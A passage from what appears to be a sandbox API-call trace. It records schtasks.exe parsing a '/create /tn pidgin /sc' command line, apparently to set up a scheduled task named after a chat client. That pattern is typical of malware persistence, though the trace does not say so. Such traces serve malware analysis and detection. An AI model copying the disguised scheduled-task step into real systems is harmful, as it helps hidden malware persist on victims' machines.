"c:\\windows\\system32\\xmllite.dll") Thread: id = 146 os_tid = 0x1230 [0111.867] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0111.867] __set_app_type (_Type=0x1) [0111.867] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0111.868] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0111.868] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0111.868] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0111.869] CsrIdentifyAlertableThread () returned 0x0 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.869] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec916060 [0111.869] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.869] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0111.869] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0111.869] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0111.869] RtlVerifyVersionInfo (VersionInfo=0x28fa76f6b0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.869] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec916080 [0111.869] lstrlenW (lpString="") returned 0 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.869] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x2) returned 0x144ec914a10 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.869] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec914a30 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.869] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec914a60 [0111.869] GetProcessHeap () returned 0x144ec910000 [0111.870] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9143c0 [0111.870] GetProcessHeap () returned 0x144ec910000 [0111.870] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9143f0 [0111.870] GetProcessHeap () returned 0x144ec910000 [0111.870] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec914420 [0111.870] GetProcessHeap () returned 0x144ec910000 [0111.870] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9190b0 [0111.870] GetProcessHeap () returned 0x144ec910000 [0111.870] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec914450 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9190e0 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918ed0 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918f60 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918f00 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec913fb0 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918ea0 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918f30 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918fc0 [0111.871] GetProcessHeap () returned 0x144ec910000 [0111.871] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec919110 [0111.871] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.875] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec919080 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec918ff0 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9191a0 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec919050 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec9191d0 [0111.875] GetProcessHeap () returned 0x144ec910000 [0111.875] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec914760 [0111.875] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.876] GetProcessHeap () returned 0x144ec910000 [0111.876] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x208) returned 0x144ec919b40 [0111.876] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x144ec919b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0111.876] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x28fa76f808 | out: lpdwHandle=0x28fa76f808) returned 0x76c [0111.879] GetProcessHeap () returned 0x144ec910000 [0111.879] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x776) returned 0x144ec91a8a0 [0111.879] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x144ec91a8a0 | out: lpData=0x144ec91a8a0) returned 1 [0111.880] VerQueryValueW (in: pBlock=0x144ec91a8a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x28fa76f7a0, puLen=0x28fa76f800 | out: lplpBuffer=0x28fa76f7a0*=0x144ec91ac50, puLen=0x28fa76f800) returned 1 [0111.886] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.893] _vsnwprintf (in: _Buffer=0x144ec919b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x28fa76f778 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0111.894] VerQueryValueW (in: pBlock=0x144ec91a8a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x28fa76f790, puLen=0x28fa76f7f8 | out: lplpBuffer=0x28fa76f790*=0x144ec91aa80, puLen=0x28fa76f7f8) returned 1 [0111.894] lstrlenW (lpString="schtasks.exe") returned 12 [0111.894] lstrlenW (lpString="schtasks.exe") returned 12 [0111.894] lstrlenW (lpString=".EXE") returned 4 [0111.895] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0111.896] lstrlenW (lpString="schtasks.exe") returned 12 [0111.896] lstrlenW (lpString=".EXE") returned 4 [0111.896] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.896] lstrlenW (lpString="schtasks") returned 8 [0111.896] GetProcessHeap () returned 0x144ec910000 [0111.896] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec919020 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec919200 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b410 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b9e0 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec9147f0 [0111.897] _memicmp (_Buf1=0x144ec9147f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xa0) returned 0x144ec913e60 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b7d0 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.897] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b8f0 [0111.897] GetProcessHeap () returned 0x144ec910000 [0111.898] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b8c0 [0111.898] GetProcessHeap () returned 0x144ec910000 [0111.898] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec914810 [0111.898] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.898] GetProcessHeap () returned 0x144ec910000 [0111.898] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x200) returned 0x144ec91bb70 [0111.898] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0111.898] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0111.899] GetProcessHeap () returned 0x144ec910000 [0111.899] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x30) returned 0x144ec913850 [0111.899] _vsnwprintf (in: _Buffer=0x144ec913e60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x28fa76f778 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0111.899] GetProcessHeap () returned 0x144ec910000 [0111.899] GetProcessHeap () returned 0x144ec910000 [0111.899] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a8a0) returned 1 [0111.899] GetProcessHeap () returned 0x144ec910000 [0111.899] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a8a0) returned 0x776 [0111.900] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a8a0) returned 1 [0111.900] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.900] GetThreadLocale () returned 0x409 [0111.900] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.900] lstrlenW (lpString="?") returned 1 [0111.900] GetThreadLocale () returned 0x409 [0111.900] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.900] lstrlenW (lpString="create") returned 6 [0111.900] GetThreadLocale () returned 0x409 [0111.900] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.900] lstrlenW (lpString="delete") returned 6 [0111.900] GetThreadLocale () returned 0x409 [0111.901] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.901] lstrlenW (lpString="query") returned 5 [0111.901] GetThreadLocale () returned 0x409 [0111.901] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.901] lstrlenW (lpString="change") returned 6 [0111.901] GetThreadLocale () returned 0x409 [0111.901] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.901] lstrlenW (lpString="run") returned 3 [0111.901] GetThreadLocale () returned 0x409 [0111.901] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.901] lstrlenW (lpString="end") returned 3 [0111.901] GetThreadLocale () returned 0x409 [0111.901] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.901] lstrlenW (lpString="showsid") returned 7 [0111.901] GetThreadLocale () returned 0x409 [0111.902] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.902] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.902] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.902] lstrlenW (lpString="/create") returned 7 [0111.902] lstrlenW (lpString="-/") returned 2 [0111.902] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.902] lstrlenW (lpString="?") returned 1 [0111.902] lstrlenW (lpString="?") returned 1 [0111.902] GetProcessHeap () returned 0x144ec910000 [0111.902] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec913f30 [0111.902] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.902] GetProcessHeap () returned 0x144ec910000 [0111.902] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xa) returned 0x144ec913890 [0111.902] lstrlenW (lpString="create") returned 6 [0111.902] GetProcessHeap () returned 0x144ec910000 [0111.905] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec9138b0 [0111.905] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.905] GetProcessHeap () returned 0x144ec910000 [0111.905] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x14) returned 0x144ec9138d0 [0111.905] _vsnwprintf (in: _Buffer=0x144ec913890, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.905] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.905] lstrlenW (lpString="|?|") returned 3 [0111.905] lstrlenW (lpString="|create|") returned 8 [0111.905] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.905] lstrlenW (lpString="create") returned 6 [0111.906] lstrlenW (lpString="create") returned 6 [0111.906] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.906] GetProcessHeap () returned 0x144ec910000 [0111.906] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913890) returned 1 [0111.906] GetProcessHeap () returned 0x144ec910000 [0111.906] RtlReAllocateHeap (Heap=0x144ec910000, Flags=0xc, Ptr=0x144ec913890, Size=0x14) returned 0x144ec9138f0 [0111.906] lstrlenW (lpString="create") returned 6 [0111.906] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.906] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.906] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.906] lstrlenW (lpString="|create|") returned 8 [0111.906] lstrlenW (lpString="|create|") returned 8 [0111.906] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0111.906] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.906] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.906] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.906] lstrlenW (lpString="/tn") returned 3 [0111.906] lstrlenW (lpString="-/") returned 2 [0111.906] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.906] lstrlenW (lpString="?") returned 1 [0111.907] lstrlenW (lpString="?") returned 1 [0111.907] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.907] lstrlenW (lpString="tn") returned 2 [0111.907] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.907] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.907] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.907] lstrlenW (lpString="|?|") returned 3 [0111.907] lstrlenW (lpString="|tn|") returned 4 [0111.907] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.907] lstrlenW (lpString="create") returned 6 [0111.907] lstrlenW (lpString="create") returned 6 [0111.907] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.907] lstrlenW (lpString="tn") returned 2 [0111.907] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.907] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.907] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.907] lstrlenW (lpString="|create|") returned 8 [0111.907] lstrlenW (lpString="|tn|") returned 4 [0111.907] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0111.908] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.908] lstrlenW (lpString="delete") returned 6 [0111.908] lstrlenW (lpString="delete") returned 6 [0111.908] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.908] lstrlenW (lpString="tn") returned 2 [0111.908] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.908] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|delete|") returned 8 [0111.908] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.908] lstrlenW (lpString="|delete|") returned 8 [0111.908] lstrlenW (lpString="|tn|") returned 4 [0111.908] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0111.908] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.908] lstrlenW (lpString="query") returned 5 [0111.908] lstrlenW (lpString="query") returned 5 [0111.908] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.908] lstrlenW (lpString="tn") returned 2 [0111.908] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.908] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|query|") returned 7 [0111.908] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.909] lstrlenW (lpString="|query|") returned 7 [0111.909] lstrlenW (lpString="|tn|") returned 4 [0111.909] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0111.909] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.909] lstrlenW (lpString="change") returned 6 [0111.909] lstrlenW (lpString="change") returned 6 [0111.909] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.909] lstrlenW (lpString="tn") returned 2 [0111.909] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.909] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|change|") returned 8 [0111.909] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.909] lstrlenW (lpString="|change|") returned 8 [0111.909] lstrlenW (lpString="|tn|") returned 4 [0111.909] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0111.909] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.909] lstrlenW (lpString="run") returned 3 [0111.909] lstrlenW (lpString="run") returned 3 [0111.909] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.909] lstrlenW (lpString="tn") returned 2 [0111.910] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.910] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|run|") returned 5 [0111.910] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.910] lstrlenW (lpString="|run|") returned 5 [0111.910] lstrlenW (lpString="|tn|") returned 4 [0111.910] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0111.910] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.910] lstrlenW (lpString="end") returned 3 [0111.910] lstrlenW (lpString="end") returned 3 [0111.910] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.910] lstrlenW (lpString="tn") returned 2 [0111.910] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.910] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|end|") returned 5 [0111.910] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.910] lstrlenW (lpString="|end|") returned 5 [0111.910] lstrlenW (lpString="|tn|") returned 4 [0111.910] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0111.910] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.910] lstrlenW (lpString="showsid") returned 7 [0111.910] lstrlenW (lpString="showsid") returned 7 [0111.911] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.911] GetProcessHeap () returned 0x144ec910000 [0111.911] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9138f0) returned 1 [0111.911] GetProcessHeap () returned 0x144ec910000 [0111.911] RtlReAllocateHeap (Heap=0x144ec910000, Flags=0xc, Ptr=0x144ec9138f0, Size=0x16) returned 0x144ec9138f0 [0111.911] lstrlenW (lpString="tn") returned 2 [0111.911] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.911] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|showsid|") returned 9 [0111.911] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tn|") returned 4 [0111.911] lstrlenW (lpString="|showsid|") returned 9 [0111.911] lstrlenW (lpString="|tn|") returned 4 [0111.911] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0111.911] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.911] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.911] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.911] lstrlenW (lpString="/tn") returned 3 [0111.911] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0111.911] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.911] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.911] lstrlenW (lpString="/tn") returned 3 [0111.911] GetProcessHeap () returned 0x144ec910000 [0111.912] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x8) returned 0x144ec913890 [0111.912] GetProcessHeap () returned 0x144ec910000 [0111.912] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b830 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] lstrlenW (lpString="pidgin") returned 6 [0111.912] lstrlenW (lpString="-/") returned 2 [0111.912] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] lstrlenW (lpString="pidgin") returned 6 [0111.912] StrChrIW (lpStart="pidgin", wMatch=0x3a) returned 0x0 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] lstrlenW (lpString="pidgin") returned 6 [0111.912] GetProcessHeap () returned 0x144ec910000 [0111.912] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xe) returned 0x144ec913920 [0111.912] GetProcessHeap () returned 0x144ec910000 [0111.912] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b3b0 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.912] lstrlenW (lpString="/sc") returned 3 [0111.913] lstrlenW (lpString="-/") returned 2 [0111.913] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.913] lstrlenW (lpString="?") returned 1 [0111.913] lstrlenW (lpString="?") returned 1 [0111.913] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.913] lstrlenW (lpString="sc") returned 2 [0111.913] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.913] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.913] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.913] lstrlenW (lpString="|?|") returned 3 [0111.913] lstrlenW (lpString="|sc|") returned 4 [0111.913] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.913] lstrlenW (lpString="create") returned 6 [0111.913] lstrlenW (lpString="create") returned 6 [0111.913] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.913] lstrlenW (lpString="sc") returned 2 [0111.913] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.913] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.913] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.913] lstrlenW (lpString="|create|") returned 8 [0111.914] lstrlenW (lpString="|sc|") returned 4 [0111.914] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0111.914] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.914] lstrlenW (lpString="delete") returned 6 [0111.914] lstrlenW (lpString="delete") returned 6 [0111.914] _memicmp (_Buf1=0x144ec913f30, 